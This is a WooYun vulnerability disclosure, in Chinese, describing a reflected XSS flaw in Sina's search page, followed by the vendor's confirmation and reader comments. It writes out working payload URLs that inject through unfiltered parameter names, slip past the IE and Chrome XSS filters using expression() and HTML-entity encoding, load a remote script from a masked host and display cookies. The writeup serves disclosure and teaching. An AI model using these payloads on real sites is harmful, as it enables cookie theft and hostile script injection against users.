当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062652

漏洞标题:新浪反射型跨站(附绕过浏览器xss filter方式)

相关厂商:新浪

漏洞作者: 香草

提交时间:2014-05-28 16:57

修复时间:2014-07-12 16:58

公开时间:2014-07-12 16:58

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-28: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向核心白帽子及相关领域专家公开
2014-06-17: 细节向普通白帽子公开
2014-06-27: 细节向实习白帽子公开
2014-07-12: 细节向公众公开

简要描述:

前几天新浪广告界面那个跨站,在第三次的时候,总算进行了正确的修复。于是我只好去其他地方看看了。很不幸这次又侧漏了,这次可获取cookie,可欺骗,虽然新浪的cookie有httponly保护,不过这次重点是可以过IE和chrome系列浏览器的方法。

详细说明:

新浪的搜索实际上过滤还是挺严格的,在搜索框输入,xxx'"<>!@#$%^&*()_;\,

http://search.sina.com.cn/?q=xxx%27%22%3C%3E%21%40%23%24%25%5E%26*%28%29_%3B%5C&c=zt&sort=time


发现在正确的位置的进行了正确的编码和过滤。'"<>\以及其他特殊符号都进行了相应的编码和过滤。这也是我想到的,这些简单的符号肯定是会被过滤的。我发现页面中存在这样的代码:

search.sina.com_03.jpg


于是一个一个对上面的参数进行了测试,发现对value里面的值对特殊字符都进行了编码处理。但是我不放过任何一个参数,继续寻找可能存在的参数,在这儿我发现一个奇怪的现象,就是每次我添加一个参数都会在input里面添加一条记录,而且在界面上会多次出现这个参数。
当我访问:http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg=bbb

search.sina.com.cn_04.jpg


直觉告诉我,这儿肯定存在问题。
既然对value都进行了严格的过滤,那对name呢。于是我再次测试
http://search.sina.com.cn/?q=xxx&c=zt&range=title&ggg"'ggg=bbb
果然侧漏了:

search.sina.com.cn_05.jpg


控制台报错了,我最喜欢了,还有js环境的:

search.sina.com.cn_06.jpg


接下来测试发现name参数过滤了点号和[],其他的都没过滤,值就过滤的惨不忍睹了,特殊符号都过滤了包括()[]{}"'<>\。很快就想到一个加载远程js的方法:
http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22;with(location)with(hash)eval(substring(1))//=#with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'
用with省略了点号的使用,但是这个代码只能在火狐和chrome系列浏览器上运行,不是很完美。在IE上不能有成对的括号出现而且过滤了location,document等关键字,怎么办呢?
我想到了expression,expression呢,因为我发现

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">


就是说会强制浏览器以IE7文档模式解析,当然就都支持expression了。访问:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&"style&d:expression(write(1));
xx&c=zt&range=title&"style=&d:expression(write(1));&col=&source


加载远程js:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&"style&d:expression(with(location)with(hash)eval(substring(1)));# with(document)body.appendChild(createElement('script')).src='//xxx.xxxx.com/test/alert.js'


这个代码在IE9,IE10下面是可以运行的,IE8貌似不支持content="IE=EmulateIE7"。
但是这样的虽然可以过IE各个版本浏览器,但是又不能同时支持chrome系列浏览器了,有没有既可以过IE又可以过chrome的呢?为了完美,我们继续:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&"><img/src=x%20&onerror&%2397;lert%26%2340;1%26%2341//
//得到
q=xxx&c=zt&range=title&"><img/src=x+&onerror=&#97;lert&#40;1&#41//=&col=&sou


把空格转换成了+号,而我们又不能用 " ,于是我们用%0a也就是换行符来分割属性。

search.chromeandie_08.jpg


解释:&#97其实就是a的html编码我们在url编码后就是%26%2397。&#40;&#41就是()对他进行html编码是为了绕过 IE xss filter对括号的检查。
最终实现的加载远程js,可兼容IE,chrome系列浏览器:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#with(document)body.appendChild(createElement('script')).src='//xxx.xxx.com/test/alert.js'//


漏洞证明:

弹个cookie:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#alert(document.cookie)


cookie1.jpg


加载JS:

http://search.sina.com.cn/?q=xxx&c=zt&range=title&xxx%22%3E&%3Cimg/src&%0aonerror&%23119%26%23105%26%23116%26%23104%26%2340%26%23108%26%23111%26%2399%26%2397%26%23116%26%23105%26%23111%26%23110%26%2341%26%23119%26%23105%26%23116%26%23104%26%2340%26%23104%26%2397%26%23115%26%23104%26%2341%26%23101%26%23118%26%2397%26%23108%26%2340%26%23115%26%23117%26%2398%26%23115%26%23116%26%23114%26%23105%26%23110%26%23103%26%2340%26%2349%26%2341%26%2341//#with(document)body.appendChild(createElement('script')).src='//xxx.xxx.com/test/alert.js'//

修复方案:

同样过滤传回去的参数除了值要过滤,名也要过滤。

版权声明:转载请注明来源 香草@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-05-28 18:43

厂商回复:

感谢关注新浪安全,分析太好,

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-28 16:57 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    技术贴

  2. 2014-05-28 16:59 | 快到碗裏來 ( 路人 | Rank:6 漏洞数:4 | 這傢伙很懶,什麼也沒有留下!)

    @疯狗 请问获取邀请码的rank不计算入注册后的账户吗?

  3. 2014-05-28 17:03 | nextdoor ( 普通白帽子 | Rank:325 漏洞数:74 )

    @疯狗 狗哥 把我的漏洞审一下吧http://www.wooyun.org/bugs/wooyun-2014-062029/trace/e8d953464bfb60cd87dbab28c9316d95

  4. 2014-05-28 17:07 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    好像有点意思啊,关注下

  5. 2014-05-28 17:12 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @快到碗裏來 计算进去的,只要是那个漏洞填写了邀请邮箱(一致)并注册成功

  6. 2014-05-28 17:13 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @mramydnei 结合上下文的过,不是通用哈

  7. 2014-05-28 17:17 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @nextdoor 189邮箱被多次提交漏洞,不过他们从来没修复过,所以咯

  8. 2014-05-29 16:45 | 香草 ( 实习白帽子 | Rank:99 漏洞数:14 | javascript,xss,jsp、aspx)

    @疯狗 狗哥http://www.wooyun.org/bugs/wooyun-2010-062771/trace/b37f5ecac6e82f589ca16faa0d08a34d 帮忙审核下呀,这个有趣

  9. 2014-05-29 17:42 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @香草 是很有意思,洞主给drops投个稿吧 :P

  10. 2014-07-12 19:32 | cooFool ( 路人 | Rank:0 漏洞数:2 | 终于通过了。)

    好贴。

  11. 2014-07-14 05:03 | 橙子 ( 路人 | Rank:2 漏洞数:1 | 我有特殊的卖萌技巧)

    那个逗号显然是还没说完

  12. 2015-04-19 16:56 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ:867597730,百度贴吧ID:昌维001)

    很多奇葩sql注入也是一样,只过滤了参数值没过滤参数名,而且参数名直接带入sql语句,和这个情况差不多